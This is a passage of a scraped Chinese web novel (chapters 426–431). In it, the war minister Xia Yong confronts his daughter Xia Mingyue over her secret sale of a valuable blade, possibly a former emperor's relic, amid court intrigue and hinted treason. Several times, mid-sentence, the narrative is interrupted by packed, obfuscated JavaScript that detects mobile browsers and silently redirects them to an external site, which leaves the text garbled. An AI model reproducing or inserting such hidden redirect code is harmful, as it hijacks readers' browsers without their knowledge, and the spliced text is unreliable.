$(''#content'').append('' 年复一年,这也够把他跟夏明月的情分磨掉一层肉了。 夏庸这回倒是很快就明白了,毕竟他自己也是一个孝子:“世子被气成那样……这个不孝女,行事还是这么没分寸。我知道,这事儿还真不能怪华侯。” “之前我也派人打听了,世子回去的时候虽然恼怒,但还没有到控制不住的地步。定是他回去之后被这个不孝女冷嘲热讽,还说了别的不该说的,才会如此。” 夏明嫣抽笑了一声:“您就别雷声大雨点儿小了,我知道,二妹妹现在定然就在咱们府上呢,您别在这儿对着我骂她了,这不是在哄着我玩儿么。” “父亲,您有什么话还是当面跟二妹妹说吧。有件事您恐怕还不知道,她可不敢跟您说这件事。” 她把当初把李玦的贺礼还给了夏明月的事说了一下,“……当初我把贺礼还给二妹妹,想的是成婚之时我公婆是发了话的,说是贺礼单件不能过千两,就是怕有人说闲话,再有人参我夫君一本。” “我虽然不知道那两样东西具体值多少,可是打眼一看定是超过千两这个数目的,我便还给了她。想着她还给世子也好,她自己留着看看或是要紧的时候出手了帮补一下也罢。” “我刚刚听说,她似乎把其中一件儿给卖了。您猜,卖了多少银子?十万两,是十万两啊!” 夏明嫣显得很惊讶,夏庸就更惊讶了,这可不是一笔小数目,关键是听起来,这是夏明月自己做主卖了的,夏明嫣用这样的语气把事情说出来,就意味着李玦不知道这事儿。 这么值钱的东西,还原本就是夫家的东西,夏明月该不会以为退礼的时候交到她手上了,就成了他的了吧? 夏明嫣还饱含歉意地补了一句:“我想着这些东西看着就如此名贵,二妹妹嫁妆丰厚,又不缺银子花,想必就留着自己赏玩,将来留给儿女了。” “您可别怪我,我可没想到她会这么就把东西卖了出去,还不跟世子妹夫商量,也没听说她缺银子花啊。” 第426章心哇凉哇凉的 夏庸心里咯噔一下,先不谈私自卖了夫家的物件合不合适,这么大一笔银子,夏明月这是要干什么。 有了前头几次,夏庸现在特别怕夏明月心血来潮想要做什么,以前她没花银子,都能闹出那么大的动静,有十万两银子在手,天知道她要做什么。 夏庸现在也开始反思了,原本就打算让夏明月当个眼线,要站到前面来也是以后的事,做眼线,安安静静的最好,她怎么就闹出这么大的动静呢? 这么一想,夏庸才陡然意识到这才两个月的光景,端侯府那边的动静实在太多了,而且似乎每一次都跟夏明月有关系。 他是真怕了,开口时,他的声音都不太平稳了:“卖这东西,是在你妹夫生病之前还是之后?” 要是之后这可能是为了给李玦请名医备下的款子,虽说李玦是昨天病的,不到一天工夫,卖这么一件儿东西太仓促了,可万一急着出手,也有可能呢? 夏庸眼里闪烁着期望,夏明嫣却不得不给他泼冷水:“之前就卖了,具体什么时候我不知道,听说那收了东西去的胡商是昨天摆的宴,宴席上有位贵客看上了那东西,当场就买下了。” “具体是谁买去了,还没打听出来,要不父亲您亲自问问二妹妹吧,还有……世子妹夫究竟是怎么病的,受了什么刺激,您最好还是问仔细了。” 按照楚霆孝和夏庸的谋划,关键还是李玦自己立起来才行,不仅是李玦,整个端侯府都得立起来,至于夏明嫣能不能影响华靖离这都是次要的。 因为其实他们要打击的不是一个华靖离,而是以华靖离为首的利益集团,这里面有许多的人,而且华靖离是站在当今圣上这边的,这个团体里还有皇室和朝堂上的人…… 单靠夏明嫣去影响,根本就不够,变数太大了,她如何表现,至少在夏庸和楚霆孝这边应该是次要的。 说难听一点,这个时代妇人的命运是很多变的,单拿寿命来说,再高明的医者也未必**都能挽回声明的逝去。要是哪天夏明嫣难产**,难道他们对华靖离的计划就要半途而废了吗? 同样的道理,哪天要是夏明月有个三长两短的,难道他们就能不控制李玦,让李玦想怎么样就怎么样了吗? 还是得李玦自己立起来才行,只有自己不行的情况下,才会把她们这些女人推到前面去。 楚霆孝还好些,他显然还有暗棋,楚家两位大人如今都调任去了南边显然都在布局,而夏庸真就把宝都押在两个女儿身上了。 夏明嫣起身告退,意有所指地道:“父亲,端侯府有世子妹夫,楚家有两位楚大人,咱们夏家要想有所指望,还得看登云。” “我这么说可不是针对二妹妹,登云跟她可是一母所出的双胎,您这些年也太忽视登云了。远的不说,这二妹妹都出嫁了,登云也快下场应考了,他的婚事可有眉目了?” 夏庸脸上现出颓败之色,显然在心里认可了夏明嫣的话,他摆了摆手让她回去了,之后叫了人去楚氏那儿把夏明月叫过来。 夏明月和夏登云是龙凤双胎的姐弟,他一直以来却更偏疼夏明月,一来是因为夏明月做女儿时的性子更讨喜,他半生朝堂,见惯了尔虞我诈,当然更喜欢这个容貌俏丽还惯会撒娇作痴的小女儿。 二来,就是因为楚霆孝和楚氏,他夏庸虽然并非赘婿,可是夏家一介寒门,能有今天的地位,靠的就是楚家,他在实质上与赘婿并无多大差别。 那么他就不得不以楚霆孝和楚氏的喜好为喜好,不知道怎么的,楚霆孝和楚氏一直都更偏爱夏明月,弄得他也只能更偏爱夏明月的。 好在他也没有荒废夏登云的教养……咦,这小子书读得还不错,给他请的几个师父都说他将来功名有望。 夏明嫣刚才说的话到底还是触动了他,朝堂上的事儿最终靠的还是功名、军功和功绩,这些都得靠他们这些男子。 况且现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16077174|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在夏明嫣显然已经不是他们能拿捏的了,夏明月这边别说现在了,就怕以后也指望不上。 他不能在楚家这条船上绑得太**,还有一件事夏明嫣不知道,那就是陆家,根据他的暗报消息以及楚霆孝和他这些年的放纵,这陆家在彭州已经养出一支人马了。 夏明嫣不知道这些,可她说的道理却没错,将来楚家根基深厚,有权,陆家有人马,端侯府不仅有人马还坐拥那么一大笔财富,他夏家有什么? 他虽然是兵部尚书,可是那些兵将都是朝廷的,不是他的,他不过是楚家扶起的傀儡,是圣上平衡朝局、和稀泥的过渡工具。 一旦失去了楚家的扶持,局势再变了的话,他和夏家随时可以被抛开,然后彻底出局,尤其对方还能有理有据地这么做,因为他们夏家后继无人。 反过来想想,同样是自己的外孙,楚霆孝为何对夏明月视若珍宝,而对外孙夏登云却可有可无…… 这是不是在故意弱化他们夏家,让他们夏家虽然有香火,却在仕途、功业上断了传承?等到大事成时,可以毫不费力地把他们抛开。 夏庸正盘算该好好管一管夏登云也好为夏家的将来多铺排一些的时候,夏明月过来了。 之前夏明月被夏庸训斥过两回,刚才楚氏又嘱咐了她许多话,加上李玦这病太过稀罕、难治,她已经没了之前的盛气凌人,进来的时候偷看了夏庸好几眼。 不过,夏明月习惯了先声夺人,得让别人疼惜她、处处让着她才好,这回的事儿她不占理,她也不希望被夏庸责骂,因此一进来就委屈地挤出了几滴眼泪: “父亲,我夫君,您的女婿,他这病来得突然,都是被华侯和长姐他们气的,您可得为他做主啊。” 从前要是夏明月这么哭一场,她眼泪一落,夏庸就会心疼,然后就会去哄她,可是这回夏庸却感受到一阵心凉,还有一种被称为“不值得”的感受陡然袭上心头…… 第427章穷得叮当响 之前华靖离重伤在身,夏明嫣明知道自己可能嫁过去就要守寡尚且能泰然处之,不仅没有哭哭啼啼,甚至把面子、里子都照顾到了,更是在后来暗中治好了华靖离,中间对娘家半点口风都没露。 虽说这后面的事儿是隐瞒、违逆他做下的,可能有这样一个处事镇定、有勇有谋的女儿,他身为父亲,说不骄傲是假的。 夏庸再看看眼前的夏明月,这件事她明明脱不了关系,现在她本应该尽责尽力地弥补,却只会在这儿哭哭啼啼。 在夏明嫣的教养上,他放任了楚氏,他自己更是没有半点付出,而夏明嫣这个人却给了她莫大的惊喜。 可反观他投入关爱最大的夏明月,从小名师教养,更有楚氏、朱老太太和楚霆孝等人供她耳濡目染,还有元京整个高门女眷的圈子让她积累人脉……竟然把她养成了这副样子。 更重要的是,楚氏倨傲甚至心有所属,但在内宅和场面上从来没出过错,家中庶务也料理得很好,在元京高门是有名的贵女、贤妇。 而他,虽然是个傀儡,可是这么多年也没被人抓过大的把柄,至少在朝堂上是能应付的过来的。而他跟楚氏都曾年少轻狂过,在成婚之后也都能担起各自的责任。 夏明月既不像楚氏,也不像他,成亲前后一个样,就算时间短,可能没什么长进,可是认知上还是一点变化都没有,这可真够让他意外的。 正常来说这些高门贵女在定下婚事之后就会开始了解夫家的情况了,虽说夏明月之前定下的是华靖离,可她跟李玦是从小的情分,换亲也是她自己主张的,她难道就从来没有为了嫁入端侯府做些准备? 满怀失望的夏庸这回总算没有被她糊弄过去,而是仔细地问起了昨日的情形: “昨日世子回府的时候还好好的,怎么到了晚上就变得那般重了?可是回府之后发生了什么?” 究竟发生了什么,夏明月都没敢跟楚氏说,自然不会跟夏庸说了:“没什么,就是像从前一样说了说话,他痛骂华侯姐夫可恶,说他不近人情,还叫来那么多医者让他出丑。” “他越说越气,就……晕过去了,我请了赶紧请了郎中进府,他们就说他是忧思甚重所致,他把自己给气‘**’了,这病症十分难遇。” “这也不能怪我呀,都是华侯和长姐太气人了。父亲,您刚才怎么不为我做主呀?” 这回夏庸可没信她,加重了语气:“你别避重就轻,世子是什么样的人,我还是了解的。从前他既然能让整个元京的言论偏向他,他就不是畏惧人言的人。” “外面的议论会让他气恼,可不至于让他如此。人言就是人言,你认为它重,它就有千钧重,你要不觉它重,它就比鹅毛还要轻,那些话和白日里的事压不倒他。说,他回府之后,到底发生了什么?” 李玦是爱颜面,可他同样会用颜面做武器,这么多年了,承受能里还是不错的,他能让夏庸欣赏的为数不多的几个优点之一就是能屈能伸。 能够动摇李玦意志的只有实际的利益和恐惧,一定是夏明月真正做了什么,而不是因为区区几句人言。 夏庸目光凌厉,他从来没有用这样的目光注视过夏明月,像是能把她彻底看透似的。 夏明月终于还是受不了了,她不得不把卖刀的事儿说了:“那刀放着也是放着,他又不擅长武艺,用那么一把刀反而要被人说他托大,还不如卖了换成花用。” “我又没打算全留着自己享受,他想去北疆,要去应考,到了那边也要上下打点,都需要银子。我不替他筹措,他吃什么、用什么,您都不知道,整个端侯府之前只剩下两千多两银子了!” 夏明月说起来也是委屈,谁能想到端侯府竟然穷成了这样,当初成婚的时候聘礼有三成用了新采下来的山花替代,是何夫人故意寒碜她呢。现在看来,那是真穷啊。 夏庸看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16086342|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她咬牙切齿地样子也震惊了,虽说夏明月的嫁妆丰厚,他和楚氏也没打算让女婿一家来吃他们女儿的嫁妆。 现在李玦还把手伸向夏明月的嫁妆,不是他多有节操,是因为成婚时日尚短,他还没来得及这样做。 而且夏明月不清楚海藏宝物的事,夏庸却知道,那些东西如今再是拿不出来,端侯府在南疆也是有别的根基的,不至于能养得起一支人马,可让府上不那么缺银子绝对没问题。 虽说端侯府表面上不能有那么多庶产,可这种事一直有专人运作,找人把账平了,完全可以让日子过得好出些。 何况暗处来的钱,如果花到暗处去,两边都不走明账,完全能够神不知鬼不觉,再把明面上庶产挣的银子花在明面上就是了。 这李玦和何夫人到底是怎么经营的,是胆小如鼠完全不敢动弹,还是不会经营,手下没有这方面的可用之人? 这在夏庸眼里是不可思议的,累世公卿的端侯府竟然还比不上他这个一代而起的尚书府,他这是把女儿推到火坑里去了啊。 夏庸的语气缓和了一些,但并没有完全放松下来:“你把那把宝刀卖了多少银子?不许隐瞒。” “五万两啊。”夏明月跟李玦和楚氏都说的这个数,她打算自己扣下另外五万两。 夏庸刚刚要松下去的那口气一下子就提了上去,要不是夏明嫣已经告诉他了,他真就要信了: “去你的五万两,都传得满城风雨了,是十万两!都到现在了,你还在扯谎。” “我……没有,算了,是十万两,我自己想留点儿以备不时之需,不行吗?” 夏明月也来气了,“您怎么知道是十万两的?长姐刚才来过,是她说的?好啊,她怎么会知道的,她盯着我!” 夏庸心里更凉了,发生大事,第一步要做的是解决眼下的问题,而不是去追究责任,何况夏明嫣跟这个问题,根本就没有关系。 第428章帝王玺绶 夏庸有了这样的心思,不仅没把夏明嫣给撂了,反而替她遮掩起来: “胡说什么,不是明嫣,她如今掌着钩翊侯府的中馈,有那么多正事儿要做,哪有空成天盯着你们。要不是昨日世子处事不当,当众挑衅,也不至于当众出丑。” 他指着夏明月,手指都在颤抖:“看来十万两是真的了,那胡商当众把那把宝刀卖出了高价,价钱只会比十万两更高,它真正的买主恐怕在朝中身居高位,甚至还会是皇室中人。” “你有没有想过,它可能不仅仅是一把刀,它还意味着别的什么吗?你冒然出手,就不怕这东西引起别的祸端?” 夏明月一点也没往这方面想,反而颇为惊诧地道:“能有什么含义?要是有,长姐也不会把它们还给我了。就是值钱了一些,打造它们的工匠出名了些,真的没别的什么了。” 别说李玦被气病,夏庸这会儿也觉得眼前发黑:“这么多年的书,你都读到狗肚子里去了!一件东西能名贵到如此程度,它原先的主人是谁?有没有超越它本身价值的意义?” “你有没有想过世子为什么要把如此民贵的东西送给华侯,而这东西为什么又被退了回去?” 如此贵重的礼物作为给义兄的新婚贺礼,能被夏明嫣无声无息地退回给夏明月,说明在这段时间里,李玦甚至没有问过华靖离一句,是否喜欢这些贺礼。 而贺礼如此名贵,端侯府能在明面上合理动用的现银都只剩下两千两了,既然已经割袍断义,他还不想法子从华靖离那儿讨回这些贺礼,只能说明一个问题: 李玦这份礼是混在婚仪的贺礼堆里一起送的,送的时候就没有特意强调过,这跟他以往表面招摇、喜好显摆的性子完全不符。 他要的就是这份贺礼最好就这么躺在钩翊侯府的**架上或是库房里,华靖离最好一直都不要特别留意到它们,就算发现了,也拿去用了,也不要知道这些东西的含义和机窍。 这两样东西恐怕都另有含义,就是打眼看最多只是名贵,往深了了解甚至往偏一些的地方解读,定是能让宫里生了猜忌之心的…… 这东西怕是什么预示着什么大的吉兆呢,说不定还是什么帝王之物。 夏明月却还在那儿摇头:“父亲,您是不是太草木皆兵了,昨天我夫君病倒之后,我把这些事儿前前后后地捋了一遍。那个胡商,还有宴席上买刀的那个人,还有其他宾客,都没有说过那宝刀有什么更特别的地方了。” “他们只说那刀是一个前朝老匠人的封山之作,这也不算什么大来头吧。就算这刀名贵了些,是,我没跟夫君商量就卖了,可我也被骗了,我还亏了呢,那胡商转手一卖,竟然又多卖了二十万两。” 也就是说,有人以三十万两银子的价格从那胡商手里买下了那把刀。 虽然夏庸还没见过这东西,无法判断它到底有什么特殊意义,可单凭这些描述就已经很能说明问题了,可夏明月却还没看出来。 夏明月如此蠢钝不堪造就,夏登云与她是同胞兄弟,夏登云的资质又能好到哪里去? 夏庸陡然有一种后继无人的感觉,他强忍着心口的疼痛,也终于想明白了李玦是怎么被气成那样的: “你说,世子是不是在知道你将这把刀卖了的消息之后,才被气倒的?那他也一定知道了刀又被别人买去了,对不对?他当时还说了什么?” 这刀竟然比白日里发生的事还重要,李玦在被气倒前应该说过什么,只不过以夏明月的认知,没有引起她的注意。 夏明月委屈又恨铁不成钢地道:“他这气性也太大了,不过是没跟他打招呼就卖了他一件儿东西,他就这样。父亲,我跟您说的这些话,您可千万别告诉别人,不然我嫁了这么一个气量狭小的夫君,别人会笑话我的。” “他也没说什么,就跟说胡话似的,别的我是真没听清楚,就听到什么‘帝王玺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16090614|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绶’。他应该是说胡话了,那就是一把刀,什么玺绶。” 帝王玺绶,应该是玉玺才对,跟刀剑有什么关系,再不然也该是虎符或是玉佩、腰牌什么的才对。 而且那把刀夏明月仔细看过很多遍,并没有什么特殊的图腾在上面,根本不像是前朝帝王用过的宝刀,更不可能是像尚方宝剑那样的存在了。 夏庸到底是兵部尚书,家里虽没有武学方面的根基,也不太懂兵刃,可他自从调任兵部以来到底见识过一些,前朝的事他也有所了解。 前朝尚武,君王好大喜功、连年征战,正是因为他们不休民生,才有了如今的大恒。 若是那玺绶并非玉玺,而是帝王的私印,说不准就藏在那把刀的刀柄里,再或者那把刀本身就是那位末代帝王用来发号施令的象征。 夏庸焦急地问道:“刀柄上你可否找过,是否有机窍?刀身上有没有字或是图案,或者刀鞘里外有没有什么标记?” “刀柄上还能有机关?” 夏明月整个人都震惊了,不用问了,这都能让她惊呆,别的她更是没有留意过了。 夏庸气得大骂:“我们夏家怎么能有你这样的蠢货!你不想想你的夫君怎么就气成那副样子了,我虽未见过,可也能猜到一二,那把刀八晨真是前朝帝王之物。” “他将它送给华靖离,或许当中存着巴结、笼络之心,可也是为了有朝一日待有人发现,可以挑起陛下和太子对他的疑心和忌惮,诬陷他有不臣之心。” “他被人家识破了,人家懒得跟他撕破脸,就把东西还给了你。结果你真不跟你夫君商量也就罢了,居然直接就把东西给卖了。你要卖也卖得远些,让人带到南边儿去卖,你居然敢直接在元京出手,居然还自己出面了。” “你身边没人可用了吗?这种事都办不好,你有没有想过万一昨日买走那刀的是宫里人,甚至是陛下或者太子的人,你要怎么办?” 第429章羽翼未丰 买刀的人敢在宴席上公然出价,根本没避着人,又出了这么多银子,可见还是个识货的。换句话说就是,这人光明正大地买下了前朝帝王之物。 这人为何如此,只能说他买下这把刀,很有可能是要献给陛下或是太子的。等到这刀献上去了,无论是陛下还是太子,都会知道这东西是从端侯府来的。 端侯府私藏前朝帝王之物,还想着重建李家军,在南疆更是还有着许多不清不白的东西,还有那些一直怀疑着可能还在的异域宝物……桩桩件件都是陛下心里深扎的钉子。 夏明月这时候总算明白了:“可是这东西原就是端侯府的,夫君和婆母为何要私藏这种遭人忌讳的东西?夫君他还要重建李家军,难不成他们想要……不,咱们几家想要……” 夏明月吓得脸色惨白,他们从没想过李玦这样的一个人居然怀有不臣之心,她原来以为李玦只是想封王拜相呢。 她回顾着上一世的情形,她很想否认李玦是这种人,可是她愕然意识到,上一世她大概是在家庙熬坏了身子,成为端王妃之后她只活了三年多,后面的事儿她并不知道。 她只记得朝政的实际掌控者变成了李玦和孙允斌,但是继位的是现在的太子谢维,虽然谢维是一个傀儡,可难道在她**之后,李玦当皇帝了? 夏明月脸上的神情从不可思议过渡到欣慰、高兴,继而又是愤恨和不甘,最后就差点要暴跳如雷了…… 上辈子她怎么就不能多活几年呢?要是李玦篡位登基了,她还活着的话,她可就是皇后娘娘了,可她**,做皇后的就得是别的女人了! 还别说,夏明月虽然一直认为她跟李玦之间是彼此心仪的,但她从来不认为李玦只会有她一个女人。 可是她不想给别人做嫁衣,她好不容易熬走了邓澜和夏明嫣,凭什么那个不知从哪儿冒出来的女人能取代她,享受本该属于她的一切…… 夏庸眼看着夏明月脸上像打翻了五味瓶一样神情来回变化,他都愣住了,她怎么还兴奋上了,一会儿还好像高人一等了,这该不会是要疯了吧? 他重重地咳嗽了一声:“别什么事儿都扯上咱们家,咱们家是什么情况,你还不知道么?你外祖父和端侯府想做什么,我能拦得住?” “那种心思咱们家可不敢有,可是……我不是不得不听他们的吗?你别乱说,咱们家能把现在的稳住,要是能再上一层楼就更好了,别的我可不敢指望。” “你还是先想想现在该怎么办吧,万一买了那东西的人真是圣上或太子,你们这一关该怎么过吧!” 万一宫里追究下来,楚、夏两家是绝对会撇清关系的,虽说他们四家联手,可遇上这种事,没道理因为一家就拖其他所有人下水。 即便夏明月是她最疼爱的女儿也不行,他还有夏家的基业要顾,他还能指望夏登云将来金榜题名、在朝堂上有所建树呢。 夏明月一看夏庸要跟她撇清关系,立刻垮了脸,可她到底不敢向夏庸发难,反而谴责起夏明嫣来: “这事儿怎么能全让我们担了呢?长姐定是看出了这里面的问题,可她不说,就这么交给我了,还劝我可以当成私放存起来,她分明就是故意的。” “父亲,这件事您可得为我们夫妇做主,这东西也到过长姐和华侯手上,他们没有点破,就该担下罪责……至少应该跟我们一起担下来才行。” 手指不停地虚点着夏明月,夏庸也快被她气疯了:“你这是什么道理,现在是世子想要害人家,结果偷鸡不成蚀把米,难不成你们还不许人家反抗了?人家就得毫不反抗的让你们敞开了害?” “你也别想着诬赖那些东西是钩翊侯府的,这不是那些寻常小物件,这种成色的东西是从哪儿来的,之后怎么到了另一个人手上,只要有人去查,就没有查不出来的,你可别再给自己添一个欺君之罪。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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第430章让他长点儿脸,行不? 让楚家和楚氏去管,杀头大罪,牵扯到谋逆,他们想管也管不了啊。 夏明月还想把夏明嫣拉下水,先不说夏明嫣跟她说的那些话根本抓不住把柄,就算能抓住,夏明嫣出了事,华靖离一旦不会善罢甘休,他们夏家也不能再少一门靠山了。 夏庸这时候已经开始想了,夏明嫣不想搀和进来也是好的,说不准华家将来会成为夏家的退路。 就是楚霆孝也不会答应把夏明嫣拖下水的,没见那次在茶肆恳谈一番之后,华靖离不肯叫他一声“外祖父”,他也没怎么着么。 华靖离现在重伤痊愈还没有立即回北疆去,虽说表面上看是华靖离对圣上和太子低头了,在封地上做出了妥协,以已经具有相当规模的封地换到了处在纷乱中的未开化的地方,其实是作为朝廷的先路军,先一步去完成朝廷对南疆的布局了。 下一步华靖离很可能会去南疆,这就意味着他八成还会比李玦先一步去南疆,而华家原本在北疆的势力并不会因为撤换了封地就立时消散,也就是说华靖离将在一段时间内,同时拥有北疆和南疆两边的势力和影响。 这样的华靖离和华家,在一切还没有显山露水、局势清晰的时候,楚霆孝可不会想公然跟他们对着干,原本就不会太顺利的事,他可不想再增加什么阻力。 夏明月这么做完全是出于私利,完全就没有考虑夏、楚两家的死活,关键是她对自己和夏家的处境根本就没有一个清醒的认识。 夏明月直到现在都没有把观念转变过来,她先是夏家的女儿,才是楚家的外孙女,她现在本末倒置,求助都要先搬出外祖父来,甚至还想用自己的外家对付自己的母家和父亲。 而夏庸对楚霆孝这个岳父也有足够的了解,别看现在对他这个女婿不错,可到了关键的时候,别说他了,就连楚氏也能一并舍弃。 夏庸这时候忽然想到当年楚霆孝让他娶楚氏的情形,那时候陆家刚刚下狱,还没有被流放,他们这些门生都想着如何开解楚霆孝,不在陆家的事儿上触楚霆孝的霉头。 谁知道楚霆孝把他单独找了过去,开门见山地说想要他做乘龙快婿,让他娶楚家唯一的女儿楚氏。 夏庸认识楚氏的时候,楚氏早就跟陆远山定亲了,而且他还跟陆远山交情不错,至少二人在同僚里是比较能说得上话的,他怎么也没想到楚霆孝这么快就在张罗新女婿了。 当时杨氏已经过世一年,家中不能没有主母,朝中之人丧妻一年再娶,不是一件新鲜事,他虽然没有热衷此事,可也不排斥。 关键是当时的他没有选择,楚霆孝之所以在众多门生中选中他,显然是经过深思熟虑的,他要是拒绝了,恐怕他的前程就没了。 夏家是寒门,他也不是什么经世之才,好不容易为人通达、圆滑能被楚霆孝看上。只要他娶了楚氏,兵部尚书的位子就是他的了。 况且他也没有别的想要续弦的人,既然机会来了,那便如此吧…… 他就是用这种心态娶了楚氏,他原本对楚氏还诚惶诚恐的,把楚氏当作公主一样供着,可他后来发现,楚霆孝在嫁妆上宠着楚氏,要是楚氏在内宅里遇上什么麻烦,楚霆孝也会开口帮忙。 可要是涉及到外面的事,哪怕只是一件小事,楚霆孝都不乐意帮她,只会让她不要插手或是自己解决。 楚氏想要派人去关照陆家人一下,夏庸自己都选择睁一只眼闭一只眼了,楚霆孝也会冷了脸,将楚氏的并不算过分的要求置之不理。 后来这两父女也不知道怎么了,在夏明月和夏登云出生后不久,他那时不在元京,据家里的管家说,楚霆孝和他的夫人先后来了趟府里,跟楚氏大吵了一架,之后楚氏就跟娘家疏远了。 再后来楚氏就是生了病,病得很重,也没让人告诉娘家人…… 他就开始看出来了,这父女俩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091634|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必然为了什么起了争执了,以致于楚氏不理这个父亲了,而楚霆孝也不再把楚氏当作女儿看待了,等他回去之后就发现,楚霆孝已经把楚氏当作了下属。 可楚氏一个妇道人家能因为什么事儿跟楚霆孝闹成这样呢?他不觉得会有什么大事,那就是楚霆孝太过严苛了。 楚霆孝对在自己身边长大的嫡女都如此绝情、冷硬,对夏明月也不过是隔辈亲,一旦有个万一,他也一定会舍弃夏明月。 夏庸顿时更加觉得夏明月蠢透了:“你还想把你外祖父扯进来,他爱惜羽翼,他不会为了任何人让自己掉进逆臣这个泥淖,你赶紧**这条心。” “你长姐那儿也不要再去叨扰了,你跟世子都吃了几回亏了,还不长记性,还想送上门去让人家欺负不成?最近出的事太多了,你们两个消停一点。” “你也是时候做个贤妻了,你看看你长姐,治好了华侯,在华侯重伤昏迷的时候不离不弃、亲自照料。成婚之前,她跟华侯大概都没见过。” “你跟世子可是青梅竹马,全元京的人都知道你们之间是怎么回事,这种时候你要是不把他服侍好了,所有人都得戳你的脊梁骨。你马上就要是端侯夫人了,但你也依旧是夏氏女,你给我长点儿脸,行不?” 夏明嫣盲婚哑嫁都能对华靖离不离不弃,她夏明月呢,有了前头的感情基础,她但凡怠慢了李玦一点儿,都得被人说三道四。 夏明月最不喜欢听的就是有人拿她跟夏明嫣比,她不知收敛地叫了出来: “我知道,她现在是华侯夫人了,人人都说她好,父亲您也偏心她。我不信她能一直好下去,您不信就等着瞧,他能做侯夫人,我还能做王妃呢……” “啪”的一声响亮的耳光声响起,是夏庸打的,他圆睁着一双老目瞪着她: “王妃,哪儿来的王妃?你是疯了吧,你一个人发疯想死,别连累我们全家!” 第431章不要连累“我们”全家 大恒除了开朝时有异姓王,之后就没再有过了,就是因为封了王,权力坐大,反而会辖制住皇室的权力。 这是被圣上忌惮了的,李玦还没把侯爵的玉冠戴头上呢,现在就想着当异姓王了? 虽说他们最终的目的跟把持朝政差不多,甚至跟谋逆都相差无几,可是这些怎么能在没成事儿之前就说出口了,还透露给了夏明月这个嘴上没把门儿的。 夏明月捂着脸还想争辩,见夏庸又扬起了手要打她,哇地一声哭了出来,边哭边跑了出去。 她也很委屈,夏庸刚才说“不要连累我们全家”,这是把她排除在了“全家”的范畴了……要不是夏明嫣诓她,事情怎么会这样。 夏明月跑出去了之后,夏庸捂着心口滑坐在了椅子上,这都是什么事儿,从小捧在手心里的掌上明珠竟然成了这副样子。 从前他总想着他自己这一路走来不容易,夏明月一生下来就有他和楚霆孝护着,又是个女儿家,那就不妨让她在出嫁前过得松快些。 反正他和楚氏处置这里里外外的事儿都得心应手,夏明月的天赋一定不会差,就算小时候在这方面耽误了,等她出嫁了,遇上事儿了,一定会很快成长起来,并不耽误什么。 可如今看来,别说这性情和才干了,他怎么就觉得她的面相都变了,既不像她,也不像楚氏。 现在夏明月还嫁了李玦这样的一个人,原本他还觉得李玦这么多年都能把面子功夫维系下来,是个能屈能伸、宠辱不惊的人,他攀着华靖离,将来借上这股东风不在话下,时机到了的话甚至可以取而代之。 夏庸对李玦下如此判断,并不全是因为他认定了李玦身上这些能够让他成为乱世枭雄的特质。 还有一个更重要的原因就是,大恒为了平复北疆、对抗祁笛,连年征战,府库的粮仓和钱财早已空虚。 而李玦,沉在海底的那批宝藏足以把大恒所有的府库充实上三五遍了,就算他这人的人才不济事,有这么多的钱财在手,什么人都得为他所用,他是怎么都不会差的。 就算李玦最终未能成事,他要是带着一些宝藏和夏明月逃离了大恒,也能在外面荣华富贵地过一辈子,就是祖孙几代也是不用愁的。 谁知道功名未及进士,北疆历练未能成行,南疆他还未成踏足,那些海藏之宝至今为止也未有拿出过一件,还说之前得到的位置有偏差,就连能入海取出宝藏的器物也没完全打造好…… 不过光是这些也就罢了,夏庸见了他也还得赔些笑脸,可他偏偏被夏明月给气成这样了,呵,还气**了,这事儿放在整个大恒都是奇闻,再过五十年都还得有人知道。 夏明月再可恶,那事儿再大,都不该是李玦能被气**了的理由,毕竟这是卖了个东西出去,也不是她真就说了什么、做了什么,这种把柄不是不能化解的。 